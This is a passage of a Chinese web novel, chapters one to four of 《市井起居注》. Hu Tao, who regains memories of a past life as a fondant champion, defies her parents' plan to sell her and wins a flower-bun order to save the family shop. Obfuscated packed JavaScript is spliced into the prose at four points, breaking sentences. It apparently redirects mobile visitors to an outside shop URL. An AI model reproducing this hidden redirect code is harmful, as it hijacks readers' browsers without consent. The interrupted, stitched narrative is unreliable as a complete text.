《市井起居注》 1. 第一章 恢复记忆 山东羊承府有阳城县，濒渤海之隈，踞河朔之胜，享鱼盐之利，甲于齐东。 四时之气，氤氲相续，春无淫风，夏无酷暑，秋则霜叶染山，冬则温晴照野。城内街巷纵横，多是些青砖黑瓦屋子，屋舍俨然。户户门前种柳，泼洒浓阴。 此时正是六月天气，昨日刚见雨水，巷内青阶尚湿，斑驳有趣。 城内有一金鱼巷子，临街是一馒头铺，胡记字号。胡记馒头铺在此间开了四年，因物美价廉，也颇有些名气。现下将将卯时，东方才泛青白，他家已然升起炊烟。 早起挑水的汉子赤脚走在青石板上，留下一串湿漉漉的脚印，正是胡家的大儿子胡佑。 馒头铺每日使水多，晚上挑满了大缸，早起还得挑一次才够用。 等肩头上满压了水回家，除她妹子胡裪躲在屋里，娘和媳妇俱在作坊内揉面。 也难怪她没脸见人，实是胡裪作孽，昨日提着菜刀立在厨房门口，死活不肯去吴员外家为婢。 可她不去吴员外家做工，这一家子便没着落了。 说起来，胡家本不是县城里的人家，祖上三代原都在乡下种地。 到了胡有福这辈，分家不公，种地吃不饱肚子，便学了门走街串巷卖馒头的手艺。起初挑着担子，筐里搁着自家蒸的杂合面馒头沿村叫卖，后来学做花饽饽。就这么着干了十几年，竟也攒下些银钱。 四年前胡有福咬了咬牙，卖地卖屋，又向账局借了一百两，盘下金鱼巷子临街的铺面，前头开店，后头住人，总算在县城里有了个立足之地。 讲定的借期五年，每年利息十两，一年一还。四年里，一家子起早贪黑，省吃俭用，眼见着明年要清了账，谁知天有不测风云，四月时胡有福得了一场大病，抓药请大夫，把今年攒下的近二十两银子花得干干净净。 腊月初还账，还不到半年，他们如何能变出三十两银子！若是还不上，只怕要收铺子抵债。 胡有福在床上养了两个月病，想不出别的法子，只能卖女。 那吴员外家是阳城县的大户，乐善好施，待下人也宽厚，从不轻易打骂。他家正巧要添几个丫鬟，胡佑去送馒头的时候探知，回来告诉了老爹。 胡有福跟媳妇王翠一合计，女儿胡裪年方十六，生得眉清目秀，十里八乡也算得出挑的人物，定然能叫吴家选中，解燃眉之急。再者，倘若吴家少爷老爷看中了女儿，抬举做姨娘，那也是她的造化，不仅省下嫁妆，连带着娘家也能沾光。 思来想去，竟是一个再好不过的去处。 两口子把这意思跟姑娘说了，原以为她纵然不舍，也只好依从。谁知胡裪听后转身进厨房提了菜刀出来，往门口一站，硬邦邦道：“谁要卖我，我直接死这儿。” 眼神冷森森，把一屋子人都镇住了。 胡有福气得浑身发抖，抄起扁担要打，却被王翠死死拉住——女儿手里有刀，真闹起来，伤了谁都不好。 就这么僵持了半个时辰，到底是胡有福先服软，胡裪才放下刀回自己屋，到如今也没出来。 胡裪躺在自己屋里，耳听得外头悄无声息，倒觉着清净。昨日那一闹，她心里明白，爹娘一时半会儿不会再来逼她，可这僵局迟早要破。她翻了个身，望着窗棂间透进来的日光，怔怔出神。 有些事也是昨日才想明白的。 她本不是这个时代的人。 前世的名字也叫胡裪，是国际翻糖大赛的冠军，那一日她在湖边看水，忽见一个孩子落水，想也没想跳下去救。孩子被推上了岸，她自己却被卷入漩涡，再睁眼时，已成了胡家的女儿，襁褓中的婴孩。 一十六年，她浑浑噩噩地过着，只当自己本就是这里的人。直到昨日被爹娘要卖自己为奴的消息刺激到，前世的记忆才如开闸的洪水般涌了回来。翻糖、比赛、鲜花、掌声，还有那冰冷的河水，全都清清楚楚地印在脑子里。 她这才明白，自己是穿过来的。大盛王朝不过是一本书里的世界，是公主驸马虐恋情深的舞台，她连个配角都算不上，名字也没出现过，纯粹的世界背景板。可既然醒了过来，就不能再糊里糊涂地过活。 卖身为奴？想都别想。签了卖身契便是主家的物件，打骂发卖全由着人家。纵使吴家仁厚，到底是火坑，跳进去便由不得自己了。她前世是自由自在的人，凭着一双手走遍天下也不怕，这一世怎肯把性命交到别人手里？ 但一家子的生计全在这铺子上，问题总得想法子解决。若还不上债铺子被收走，一时半会儿连地也种不上。爹娘只怕会下定决心要把她卖了换钱，届时人牙子来抓人，三五个大汉自己也挣不过。 胡裪坐起身，把小炕前匣子里的铜板又数了一遍，二两三钱四十六文，这是她十六年攒下的全部体己，这点钱，连利息的四分之一都不够。 她揉着眉心，细细盘算起来。 胡记馒头铺，卖的是寻常馒头与花饽饽。花饽饽虽比馒头利润厚些，忙活几天也就赚个一二两，又不经常做，平日还是靠卖馒头赚辛苦钱。 娘的手艺，她这些年已经学了完全，可胡祹心里清楚，自己真正会的不是这些。 翻糖，那才是她的本事。 用糖塑造出人物、花卉、楼阁，栩栩如生，美轮美奂。前世她做的翻糖作品，能卖到十几万。可在这大盛朝哪儿有翻糖的材料？寻常人家吃的糖，不过是麦芽糖、饴糖，颜色发黄，甜味也淡，要做翻糖得有精制的白糖，还得有各种食用色素、工具，这些上哪弄去？ 她蹙着眉，在屋里转了两圈，忽然想起阳城县靠海，海运便利，南货时有可见。似乎听隔壁婶子说过县西有卖南方货物的铺子，白糖、香料都能买到，只是价钱昂贵，现在家中正缺钱，怎么能买那些东西？ 还有什么办法…… 对了，花饽饽！ 一个朝代有一个朝代的风气，盛朝对男女婚嫁的重视程度非前朝可比，儿女亲事一向是豪族斗富的重要场合。本地有旧俗，凡节日庆典与婚丧嫁娶，定要置办一桌饽饽，这也是富豪们攀比的重要内容。 谁家的饽饽做的大，谁家的饽饽做的精巧，都得好好说道说道。 其中龙凤呈祥、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345091|199507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜上眉梢都是最常见的花样。若她能弄些新花样，把花饽饽造得如现代花饽饽一般细致，在这县城之中绝对是独一份的。 再者她前世虽是个玩糖的，可翻糖和面团，说到底都是可塑的材料，只是质地、口感不同罢了。若用发面做坯塑形，未必不能弄出来新奇东西。 这念头一闪，胡裪心里便热了起来。 正想着，外头忽然传来一阵脚步声，接着是嫂子陈喜妹的嗓音，压得低低的，却掩不住那股子尖刻：“……她倒沉得住气！一家子都快喝西北风了，她还挺尸呢！” 胡裪心里有了计较，便不再慌乱，眼下最要紧的是先逼爹娘一把，叫他们彻底打消卖自己的念头。至于那账局的债，还有爹的病，都得一步步来。 窗外传来揉面的声响，沉闷而单调，胡裪理了理衣裳推开门，往后院的水缸走去。她得先吃饱了，才有力气想以后的事。 见她出来，方才嚼舌根的嫂子一愣，面上讪讪，后立刻挺直了腰板，只因自己说的也没什么错处。 陈喜妹嘴角一哂：“大小姐出来了，大小姐可歇好了？若是没歇好赶快回去躺着，横竖我们这些人也死不了，只是到了年底就难说了。” 胡裪不理，自去打了一瓢水，穿过天井，径直走进前头铺子，当着几个买馒头的客人的面，伸手抓起肉馒头就往嘴里送。 那肉馒头比拳头还大一圈，馅却少些，胡裪四口一个，连吞了两个，举起水瓢“咕咚咕咚”灌几口水，一抹嘴，在弟弟胡祥见了鬼似的眼神中，转身回到后院。 一大家子都被她这古怪行径弄糊涂了。哥哥胡佑皱了皱眉，骂道：“阿荞，你要反不成！见了爹娘竟不知问好？晌午也不出来吃饭。我告诉你，没人给你留饭，过了饭点就饿着罢，便是饿死了也活该！” 谁知那个素来唯唯诺诺的妹子竟理也不理，径直往作坊去了。 也难为她还有两分良心，还知道起来帮着做工。 晚上赶着驴子拉磨，收拾蒸馒头的家什，胡裪也帮着干活，可胡有福心里就是不得劲，满肚子怨气。 等着人停驴歇，一家人熄灯入睡，胡有福忍不住叹气：“跟她那个姐姐一样，都是讨债的，早知道也就溺死了。” 背对着丈夫的王翠身子一僵，黑暗中睁大了眼，嘴唇动了动，却发不出声。她还记得呢，十八年前自己刚生完孩子，瘫在炕上不能动。稳婆才说是个女娃，孩子就被男人抱了出去，再也没抱回来。她那时装聋作哑，只当不问，那娃娃便还活着。今日才明白，这些年自己有多傻。 胡有福却像是打开了话匣子，闷声道：“当年那个一落地我就知道留不得，咱们家才攒了几个钱？你还得帮着我做馒头，实在是没功夫照料，一个丫头片子，舍了就舍了。谁承想不忍落留下阿荞，竟是个孽障！” 王翠咬着唇，把涌到嗓子眼的呜咽硬生生咽了回去。 胡有福又叹了一声。算了，便是小猫小狗养了十六年还舍不得呢，过几日去账局问问，倘若能宽限一年半载那是再好不过，若不账局不许，可不能错过吴家这次机会。 2. 第二章 定饽饽 因馒头铺的客人多是扛大包的脚夫，周围店铺的伙计和邻里街坊，赚不着几个钱。七月又是恶月，禁婚嫁，也没人定饽饽，胡裪的打算落得一场空。 过了几日，她仍是寅正时分苏醒。篦了头，将小炕收拾齐整，把掉落的头发捻起来扔进篓里，胡裪便出去洗漱，帮着娘亲、嫂嫂做馒头。 这两个人仍不理她，大哥和爹爹也急着去吴员外、崔举人家送馒头，挑着担子急匆匆离去。 吴员外、崔举人家大业大，光粗使佣人吃得杂合面馒头就得耗去二百个。胡家的馒头大，一文一个，供应这两家，一日能净赚一钱。虽不如做花饽饽赚得多，却是笔地久天长的稳当收入，胡家父子都极放在心上，一分一秒也不耽搁。 胡裪乐得自在，还悄悄耍了个懒，用发好的面搓出来一朵小梅花，适应一番面的手感，又赶紧把罪证揉到面里，老老实实做馒头。 等着又蒸出来一批杂合面馒头并卖给稍富裕人家的白面馒头、肉馒头和豆沙馒头，胡裪将笸箩都收拾出来，分门别类地往里拾，苫上白笼布，一趟趟搬到前头铺里。 铺面是前店后坊的格局。门面朝南，最北边是住人的屋子。东厢挨着厨房、茅房，胡佑两口子住在里边。西厢胡裪一间，胡祥带着胡思齐住一间。正屋是堂屋和爹娘的屋子。 外边天井里有两口大水缸，并那盘青石磨。嫂子陈喜妹正赶着驴子一圈一圈转，磨盘吱吱呀呀地响。天井一角还特意辟出来一块菜地，里边黄瓜正嫩，屁股上还有黄色小花未落。 再前边便是作坊——两间打通的大屋，角落里堆着面和水桶。隔壁是专门蒸馒头的屋子，盘着两眼大灶，灶火正旺。 临街一间门面便是铺子了。弟弟胡祥已经拆下门板挂上幡子开始营业。他今年十二岁，干活还欠缺些，就在外头看店卖馒头。 两人对视了一眼，谁都没功夫说话，胡裪又回去做活。 胡家人早上忙碌，也就没有吃朝食的习惯，擎等着晌午饭。到了中午，外头跑街串巷的爷俩还没回来，她们也干等着，胡裪却饿得受不了，去前头铺子拿馒头吃。 吃饭讲究荤素搭配，胡裪钻进黄瓜架，拣了根顶花带刺的嫩瓜，拧下来就着叶子胡乱擦两把，拿水冲冲就开始啃。 瓜还未长成，但已经相当脆生，清香的瓜味在嘴里蔓延，胡裪越吃越饿，脚下步子也加快。 铺子里没人，胡祥正坐在柜台后头发呆。这孩子今年才十二，瘦伶伶的，晒得黧黑，见胡裪进来，身子往柜台后头缩了缩，垂下眼皮，不敢看她。 胡裪走到大笸箩前，掀开笼布，拿个白面肉馒头咬一口，乜斜着眼瞧他：“我成吃人的了？你怕我作甚？” 胡祥嘴唇动了动，没出声。 胡裪看着他那样儿，一下子明白过来——该是爹不好朝着自己发火，拿他泄气了。 家业薄，真正的儿子只一个胡佑，馒头铺子也是给大哥同他的儿子胡思齐攒下的。胡祥算什么？多余的那个罢了。他比自己强些，也不过是年岁渐长，能多干些活，说到底，大家都是长工。 她啃着馒头，没再说话。 店里渐渐上了人，胡祥正收钱呢，忽见外头涌进来五个小子，打头那个虎头虎脑，是隔壁张屠户家的孙子，名叫张虎。一进门便嚷嚷：“阿麦！阿麦！走，打弹弓去！小狗子在河东大树上发现一窝雀儿哩！” 胡祥送走客人，眼睛亮了一亮又暗下去，摇摇头：“我得看店。” “看什么店！”张虎扒着柜台，“你爹你哥都不在，怕啥？走走走！” 胡祥还是摇头：“不去。” 张虎恼了，脸涨得通红：“胡阿麦！你咋这么怂？以后再也不带你玩了！” 胡祥也急了，梗着脖子回了一句：“不玩就不玩！以后都不跟你玩了！” 胡裪看不下去，把馒头搁在柜台上，从怀里摸出一把铜板来。她数十个给张虎，叫他分给众小伙伴，又数五个拍给胡祥：“拿着，去找货郎，一人买块糖吃。” 张虎愣住了，五个小子都愣住了，攥着铜板不知该收不该收。 胡裪朝胡祥扬了扬下巴：“想玩就去玩，我替你看店。这些饽饽的价儿我都晓得，杂合面一文一个，白面馒头两文一个，糖三角三文，豆沙包三文，肉馒头四文一个。你快去玩罢，以后有你受累的日子呢。” 胡祥咧嘴笑了一下，把铜板往怀里一揣，游鱼似的蹿了出去。五个小子呼啦啦跟着跑，外头传来张虎的大嗓门：“阿麦，你姐真好！” 这些小东西！ 孩子刚走没多久，店里人骤然多了起来，多是左近街坊，挎着竹篮的妇人，系着围裙的小伙计。周围那些铺户的伙计都不回家做饭，三三两两过来买个馒头，再问胡裪讨碗水喝。 胡裪也不嫌烦，一一给他们倒水。有人闲话几句，她便应和着，大家凑在一起说话。 约莫午时末，隔壁张婶子晃悠进来。这婆子五十来岁，张虎的奶奶，是这一带出了名的包打听。老太太从绣花帕子里点数出四十文钱，搁在柜台上：“十个白面的，再拿五个肉的。”屠户家有钱，养着两个伙计，又是下力气的营生，吃得也多。 胡裪掀开另一个笸箩，给她拿馒头。 拿完张婶子却不急着走，把篮子往柜台上一放，凑近了压低嗓子：“阿荞，之前你们家吵吵啥呢？我隔着墙都听见了。”只恨他们声音不大，依稀听得是吵架罢了。 胡裪叹了口气：“还不是阿麦那小子不听话，偷跑出去耍，我爹要揍他。我给拦住了，就吵了几句。” “哟，就为这？”张婶子将信将疑。 “可不。我爹那个脾气，张婶你还不知道？” 张婶子点点头，又闲扯了几句，方去了。胡裪把钱往匣子里一收，铜板叮叮当当地响。 正热闹着，外头进来一个人。这人三十来岁年纪，头上戴着网巾，穿着一件青色直裰，料子是细葛布的，虽不是什么名贵绸缎，却浆洗得干干净净，熨得没一丝褶子。 他一进来，那几个闲汉便讪讪地散了。 胡裪打量着来人，见他也不挎个篮子，不似寻常买馒头的，便问：“客官要些什么？” 那人目光在笸箩上扫了一圈，开口道：“我姓张，我们家老爷是城北张员外。本月二十五少爷迎亲，要定些花饽饽使。”说着往里头窥探了一下，有些迟疑，“小娘子，你能做主么？” 胡裪忙道：“大哥放心，若不能做主，叫我来看店做什么？” 张管家便从袖中取出一张红帖。 胡裪接过来一看，上头开列得清清楚楚：龙凤呈祥一对、鸳鸯戏水一对、榴开百子一对、福禄双全一对、喜上眉梢一对，另加小饽饽二百四十个，预备散给宾客。 胡裪心下飞快地盘算起来。 天可怜见，竟遇到了这样的机会！ 这位张员外先前必定在别家定过，如今临近迎亲忽然换店，定是上一家出了岔子。城里各家馒头铺的手艺都大同小异，不会有高下之别，必是这位老爷过于挑剔。 挑剔好啊！就怕你不挑剔！ 胡祹抬起头：“客官，这五对花饽饽，都是精细活计。龙凤那对最大，得用十斤面的。其余四对，也得六斤面一对。加上小饽饽，统共得用百来斤精白面，还得用上等蜂蜜、香油、红曲、姜黄、栀子这些调色。手工钱就更不必说了，一个花样便是一个功夫。” “这些都在其次。敢问大哥是要寻常的，还是不寻常的？”她说着，称呼已亲热起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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胡裪信誓旦旦：“若是搞砸了，不用老爷们赶，我们立刻卷铺盖走人！”说着搓了搓手，“大哥，那咱们就十六两四钱，成交？” 那人听着，却摇了摇头。 胡裪心里一沉，只当他还要讲价，忙道：“大哥，我们这儿概不讲价的。这样的大喜事，讲价也不吉利不是？” 管家又摇了摇头，嘴角却微微翘了起来。 胡裪一怔，忽然间明白了什么。 她悄悄竖起两根指头，比了个“二”。 那人还是摇头。 她又比了个“三”。 那人终于点了点头，脸上露出笑意。 胡裪心里有了数，把那张红帖往柜台上一按，正色道：“客官，我方才又细想了想，这花饽饽的活计，实在是有些难处。六月十三祭龙王，王家村搭祭台用我们家饽饽，你突然给个单子，多少是劳累了些，得加钱。” “哦？加多少？” “加三两。” 那人听了，不怒反笑，从袖子里摸出一锭银子，拍在柜台上，足有五两：“这是定钱。余下的，取货时一并结清。” 胡裪拿起银子，用小银戥子称了称，又仔细看了看成色。银锭底下有官炉的戳记，成色足。 她将银锭放进匣子，铺开纸写了一张定单，一式两份。上头写明：龙凤呈祥一对、鸳鸯戏水一对、榴开百子一对、福禄双全一对、喜上眉梢一对，小饽饽二百四十个，总价十九两四钱，定钱五两，本月二十五取货。写完，吹干了墨，递给管家一份。 管家接过来，折好，揣进怀里，转身欲走。胡裪忽压低声音道：“往后还要大哥多照顾我们生意，这些事儿都好说。” 张管家愣了一愣，随即哈哈大笑，拱了拱手，转身去了。 3. 第三章 弟弟胡祥 张管家去后，铺子里便清静下来。胡裪将那张定单又细细看了一遍，收在袖里。 她斜倚着柜台，手指有一搭没一搭地叩着台面，心思翻腾。 为了把自己留在家中，胡祹必须逼他们明白，这个家少了谁都能转，唯独少了她胡裪，有些活儿谁也顶不上来。 倒不是她托大，实是这满县城的饽饽师傅，有一个算一个，她还真不曾放在眼里。 胡裪是见过世面的人。前世是国际翻糖大赛的冠军，玩翻糖玩了十几年。为了练手艺，不知用坏了多少套工具，翻烂了多少本绘画与雕塑的书籍。人体结构、肌肉走向、衣纹折叠、光影渐变，这些东西早已刻进骨头里，想忘都忘不掉。 而如今，这盛朝的花饽饽师傅比起她来，还是差亿点的。 就拿自家饽饽来说罢，龙便是一根粗面上剪些密密匝匝的刺，凤便是一团面上插几片羽毛片子，颜色是死板板的红黄绿，只能说够喜气。 细究起来，缘故有二。 一则师傅怎么教，徒弟便怎么做，一代一代传下来，跟刻模子似的，几十年不带变个样儿。什么造型比例，什么光影过渡，没人想过。 二则工具也简陋得可怜，剪子、刀子、梳子，再加上一支笔，配上自制的颜料，便是全部家当。至于绘画与雕塑的技法，更是八竿子打不着。 上色就更不必提了，胡裪见过那些所谓的“彩绘饽饽”，颜色平铺直叙，没有浓淡，没有过渡，跟孩童涂鸦不相上下。她前世见过的饽饽师傅，因有了新型工具的加持，又融汇了绘画与雕塑的功夫，已然能做出不输翻糖的作品了，只是限于面团本身的特性，做不出太薄太透的物事罢了。 胡裪有十足的把握，哪怕眼前的条件比不上前世，糖换成了面，色素换成了菜汁儿，可手上的功夫是实打实的，心内并不慌。 张员外这单生意，看着是冒险，实则是她的梯子。 想那张员外再不济，既在城里做着员外，能花将近二十两银子定饽饽，哪还能没有乡绅豪族往还宴饮？届时，她的花饽饽就摆在那里，想看不着都难。 如今中等人家嫁女娶妻不易，可对富豪来说，却正是斗富炫耀的好时机。张员外的儿子成亲有这样的饽饽，我闺女的喜事也必不能差了去！ 若是成了，往后这县城里的大户人家，谁家办喜事不得想着她胡记饽饽？到那时候，银子自会源源不断地滚进来，挡都挡不住，这一关就算过去了。 胡裪正盘算着，铺子外头忽然一阵小儿的喧哗笑闹声。 “阿荞姐！阿荞姐！” 胡祥一溜烟跑进来，黑黢黢的脸上满是汗珠子，跑得太急，险些在门槛处绊一跤，身子往前一栽，又踉跄着站稳了，手里高高举着个什么物事。 “姐！”他奔到柜台前，喘着粗气把手一抬——原是只剥光洗净烤得焦黄的家雀儿，“姐，给你吃！” 胡裪一愣。 胡祥咽了口唾沫，兴奋得语无伦次：“我们打的！张虎的弹弓准得很，一弹子就把它打下来了。我们在河边拔了毛，捡了干柴烤的，可香了！小狗子说多烤一会儿，皮儿脆，我们就多烤了一会儿……”他说着，又咽了口唾沫，“我吃了一只，可好吃了，这只给姐留的！” 小孩子家还有些黏人，挨到他姐跟前，把烤家雀直送到人家嘴边。胡裪本不想“消受”这份美味，但阿麦如此热络，倒不好拂了他的意。 那家雀儿只有人指般长短，已经烤到分不清头尾，焦皮上冒出来油花，焦香四溢。 胡祹送入口中，比味觉更快的是嗅觉，她先闻到一股子呛鼻烟火气。然后是口感，鸟皮已是焦酥，牙齿才合就有脆皮簌簌地碎在舌尖，被一股子热蓬蓬的油脂香气烘着滚下喉。再往下咬便见了肉，小鸟很瘦，肉只有薄薄的一层，因这群孩子也没带盐，所以只尝到本味，口感干柴味道却极鲜。 最妙的是骨头，鸟骨头本来就细，又被火烤过，嚼在嘴里嘎吱吱响，颇有些趣味。忽然牙齿咬破家雀儿脑壳，胡裪先是一吓，便尝到油润柔软的鸟脑子爆出鲜香汁水，在味蕾上留下醇厚的滋味。 软的、韧的混着焦脆的，一只小鸟提供了极为丰富的口感，在嘴中混合，留下绝妙的味道。 胡祹享受地吃完，就见胡祥一副馋相，半张着嘴，嘴角溢出一丝亮晶晶的涎水。 胡裪噗嗤一笑，胡祥手忙脚乱去擦，越发惹得姐姐哈哈大笑。这小男孩儿如今已知道爱面子了，气道：“阿姐阿姐，你别笑了！你再笑，我再也不给你带烤家雀了！” 多稀罕呀！ 胡裪却没说出来，只转身从笸箩里拿了个肉馒头递过去：“快填填肚子罢，我真怕你的涎水流成河，再把我也淹了。” “真讨厌！”胡祥恼道，手却乖乖地伸过来接。可低头一看是个肉馒头，一哆嗦又把手缩了回去，嗫嚅道：“姐，你放回去罢，我吃个杂合面馒头就成。” “怎么啦？你怕什么？” 胡祥哼唧着，鸡爪一样伶仃的手指头绞在一起：“前边铺子里有多少馒头，爹都有数的。要是钱和数对不上，爹准打我。”说起钱，胡祥把五个铜板掏了出来，“姐，往后别给我钱了，我不喜欢吃糖。” 穷死鬼托生的抠种！胡裪听了气得牙根发痒，孩子能吃多少？能把个馒头铺吃垮了不成？ 胡裪一把抓过铜钱扔回匣子里，发出叮叮当当的脆响，又往里添了一把：“吃！短多少铜板我给他补上。自个儿开着饽饽店，倒闹得儿子吃不上馒头了，说出去也不怕人笑话！” 胡祥愣愣地看着钱匣子，又看看胡裪，眼眶忽然红了。他低下头，大口大口地啃起肉馒头来，腮帮子鼓得老高，嚼都嚼不及。 胡裪看着他吃，起初只是看着，后来便有些心惊。怪道人家说“半大小子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一来，长幼有序，尊卑有别。她是姐，胡祥是弟，她给这孩子花了钱、出了力，胡祥要是敢对不起他，报官都能治他一治。二来，胡祥跟胡佑不一样，这孩子心善，知道好歹，如今瞧着，不是那等狼心狗肺的东西。 胡裪想着，目光落在胡祥身上。阿麦正趴在柜台上，百无聊赖地看外头的街景，瘦伶伶的背影，肩胛骨支棱着，把衣裳撑起两个尖尖的小包。 送他去读书？ 胡裪心里忽然冒出这个念头。 随即又觉得可笑，笔墨纸砚、束脩人情，哪一项不得花钱？自己现下统共只有二两银子，够做什么的？ 可读书的好处，她比谁都清楚。胡祥若是能认得几个字，会写会算，往后就算考不上功名，也能去铺子里做账房先生，总比困在这饽饽店里起五更爬半夜强。若是运气好，真读出个名堂来呢？那就是改换门庭的事了。到那时候，她这个姐姐还愁没有依靠。 她正思量着，胡有福和胡佑回来了。 胡有福挑着空挑子，肩膀往一边斜着，显是累得狠了。胡佑跟在后面，脸拉得老长，一进门看见胡裪在铺子里坐着，朝地上啐了一口：“呸！” 胡有福也没言语，拿眼皮把闺女一夹，两个人一前一后从铺子穿过去，径直进了后院。 4. 第四章 两个条件 他俩回来了。 胡裪听见后边挑子落地的声音，将五两定钱在手里掂了掂，扭头吩咐胡祥：“阿麦，好好看店，饿了就随便吃，吃多少姐给你补上。”说完，把银子往袖子里一塞，往后头天井走去。 日头还毒，晒得人身上发烫。王翠正弯着腰摆饭，破木桌上搁了一只粗瓷碗，里头是清炒黄瓜，寡淡得不见油星儿，一盆苞米糊涂汤搁在桌子正当中，厚得挂勺子。此外是一大盆杂合面馒头，堆得冒了尖。 胡有福坐在桌边，耷拉着脑袋，肩膀往下塌着，一声不吭。胡佑站在水缸旁边，正捧着瓢喝水，喝完了随手往地上一泼，水渍溅起来，洇湿了胡裪的鞋面。 胡裪低头看了看鞋，没恼。脸上堆起笑，走到桌边往那儿一站：“爹，今儿个我给你赚了大钱。” 胡佑把瓢往缸里一扔，嗤笑一声：“放屁！你能赚什么钱？不赔钱就烧高香了！” 胡裪没理他，从袖子里摸出那锭银子往桌上一放，“咚”的一声。 胡佑的嗤笑卡在嗓子眼里，变成了一声怪响。他身子往前一探，两只手撑在桌沿上，眼珠子盯着那锭银子，都不会转了。王翠手里的筷子“啪嗒”掉在地上，就那么张着嘴发愣。 胡有福慢慢抬起头，他看看银子，又看看胡裪，脸上的肌肉抽了抽，说不清是惊还是怕。 胡裪又从袖子里掏出那张定单，摊开，压在银子旁边：“今儿个城北张员外家的管家来了，定的花饽饽。本月二十五张少爷娶亲，要五对大饽饽，再加二百四十个小饽饽，统共十六两四钱。这是五两定钱。” “十六两……四钱？” 胡佑的声音都变了调，像是被人掐住了脖子的鸡。他一把抓起那张定单，凑到眼前，眼珠子在上面来回扫，嘴唇跟着念叨，念叨完了又抬头看胡裪，再看那锭银子，再看定单，来来回回好几趟。 “等会儿，这应该是十九两四钱吧？”胡佑认识的字不多，但做买卖的哪能不识数？一二三四五他还是认识的。 胡裪没理他，只看着胡有福：“我跟张管家打了包票，咱家的饽饽是整个大盛朝也找不出来的，和其他饽饽店的比就是一个天上一个地下。要是做不好，咱家这饽饽店就不用开了。” “你说什么？！”胡有福也不觉得累了，腾地站起身，手指头哆哆嗦嗦，“我、我……”老头子快被这个消息压垮了。哪儿来的天上地下，这阳城县的饽饽大同小异，哪儿来的天上地下啊？ 胡有福身子晃荡两下，忽然转身向厨房奔去。 王翠惊叫一声：“当家的！” 胡有福再出来的时候，手里提着一把菜刀，脚步踉跄冲向闺女，“我不如当初溺死你！” 可刀刃在太阳底下晃了一下，晃出一道白光，还是停在半空。 胡裪看着他，不闪不躲，站在原地，甚至还笑了一下：“爹，你砍，砍死了我正好，馒头铺也不用我操心了。” 胡有福脸上的肌肉在抽搐，眼角、嘴角、腮帮子都在抖。刀在半空中晃了晃，“当啷”一声掉在地上。 这个黢黑苍老的老汉儿身子一软，瘫坐在地，两手捂着脸呜呜咽咽哭起来。 “完了……全完了……咱家可就靠这个饽饽铺过活啊……” 他脊背佝偻着，后脖颈子上全是褶子，被太阳晒得黑红黑红的。 胡老爷子原本是胡家村的富户，生下三个儿子，死前分家，大儿子胡有权居长，分去祖屋和一半的土地，小儿子胡有禄是心里的肉疙瘩，分去剩下的三分之二和一头耕牛，就胡有福没福气，只分得四五亩薄田。 在地里，胡有福刨不出来足够的吃食，便想着做些旁的营生，阴差阳错开始卖馒头。起早贪黑，没几年便攒下一小笔银子。他倒是敢闯敢干，不顾兄弟们的冷嘲热讽，在县城内赁了一间小小的铺子，以蒸馒头为业。 后来学会了做花饽饽，生意更多了，辛辛苦苦一年，能净攒下十五六两，当时大儿子也十二三岁，小女儿亦能帮着揉面，小儿子虽干不了什么重活，可收收账还是许的，日子越过越好。 到四年前，那个小小的馒头铺已经无法满足胡有福的野心，他卖田卖地，把所有的积蓄凑成二百两银，又去借了一百两，买下这间大铺子，就为了赚取更多的钱，日后供孙子读书，一家人改换门庭。 可如今，全完了…… 王翠也哭，一屁股坐在凳子上，没了什么指望，就这么对着天哭。 陈喜妹不知什么时候从作坊里跑出来了，她站在作坊门口听见了全过程，两只手在围裙上搓了搓，掐着腰扯着嗓子骂起来：“我就说这个小姑奶奶不是个省心的！这下可好，一家人都得跟着喝西北风！天杀的，我这是造了什么孽，嫁到这么个家里来……” 胡裪没吭声，她站在原地，等胡有福哭完。 哭了好一会儿，哭声渐渐小了。胡有福拿开手，脸上全是泪，眼睛红得跟烂桃似的。他就那么坐在地上，抬头看着胡裪，眼神愣愣的，像是不认识她了。 胡裪走到胡有福身边蹲下：“爹，你听我说。” “爹，我又不是嫌咱家太富裕想把饽饽铺作没了。要是铺子真开不下去，我也没吃没喝不是？我既然敢接下来，就是有那两把刷子。” 胡有福的眼泪还挂在脸上，顺着皱纹往下淌，淌到嘴角，咸咸的。他舔了一下嘴唇，喉咙里滚动了几下，眼珠开始转动。 胡裪怕她不信，转身往作坊走：“你们等着。” 她走到面案处，上边摆着一大溜盆，盆上盖着湿布，湿布下头是今儿个下午新揉的面。她掀开布角，用手指按了按——略有些软了，但也勉强能用。胡裪伸手撕下一块，约莫鸡蛋大小，托在手心里。 面团在她手心里转着，一点点变了形状。她的手指极其灵巧，没两下就把面团分成了大大小小的圆球。捻起一个小面球往手心一放，指肚压下去一搓，也不知她怎么控制的手指，一片花瓣就捻了出来。 一朵牡丹，从花心开始，一瓣一瓣地往外生。中间是密密的花蕊，用梳子一点一点挑出来的，又细又绒。内层的花瓣微微合拢，包着花心，外层的花瓣微微舒展，边缘翻卷，像是刚被风吹开了一道缝。 她只用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阳城县的惯例，定钱一般是总价的五分之一。 胡佑忍不住又开口了：“你见着哪家闺女像你这样？没出门子就要工钱，传出去不怕人笑话！” 胡裪不吱声，就那么看着胡有福。她知道胡有福打的什么算盘——自己不好开口，就让儿子当先锋。胡佑要是能把她这念头打下去，胡有福就不用出声得罪人，打不下去，胡有福再跳出来做好人。 